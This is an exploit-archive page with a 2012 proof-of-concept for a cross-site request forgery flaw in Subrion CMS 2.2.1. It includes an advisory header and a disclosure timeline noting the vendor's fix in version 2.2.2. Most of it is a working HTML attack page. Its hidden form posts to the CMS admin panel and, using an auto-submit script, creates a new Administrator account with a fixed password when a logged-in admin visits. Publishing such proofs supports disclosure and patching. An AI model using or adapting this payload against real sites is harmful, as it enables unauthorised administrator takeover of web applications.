exploit the possibilities

Subrion CMS 2.2.1 Cross Site Request Forgery

Subrion CMS 2.2.1 Cross Site Request Forgery
Posted Sep 11, 2012
Authored by LiquidWorm | Site zeroscience.mk

Subrion CMS version 2.2.1 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | b8e3e8024e86bb86174e6c17fa0ff065

Subrion CMS 2.2.1 Cross Site Request Forgery

Change Mirror Download
<!--


Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit


Vendor: Intelliants LLC
Product web page: http://www.subrion.com
Affected version: 2.2.1

Summary: Subrion is a free open source content management system. It's
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
integrated into your current website or used as a stand alone platform.
It's extremely flexible and scalable php system that stands for a content
management framework.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

- Usergroup 1 - Administrator
- Usergroup 2 - Moderator
- Usergroup 8 - Registered


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.4
MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Vendor status:

[05.09.2012] Vulnerability discovered.
[06.09.2012] Contact with the vendor.
[07.09.2012] Vendor responds asking more details.
[07.09.2012] Sent detailed information to the vendor.
[10.09.2012] Vendor creates patch.
[11.09.2012] Vendor releases version 2.2.2 to address this issue.
[11.09.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5106
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php


05.09.2012


-->


<html>
<head>
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()">
<input type="hidden" name="username" value="Commando" />
<input type="hidden" name="fullname" value="Arnold Schwarzenegger" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="_password" value="l33tP4ss!" />
<input type="hidden" name="_password2" value="l33tP4ss!" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="exploit" value="Forge!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close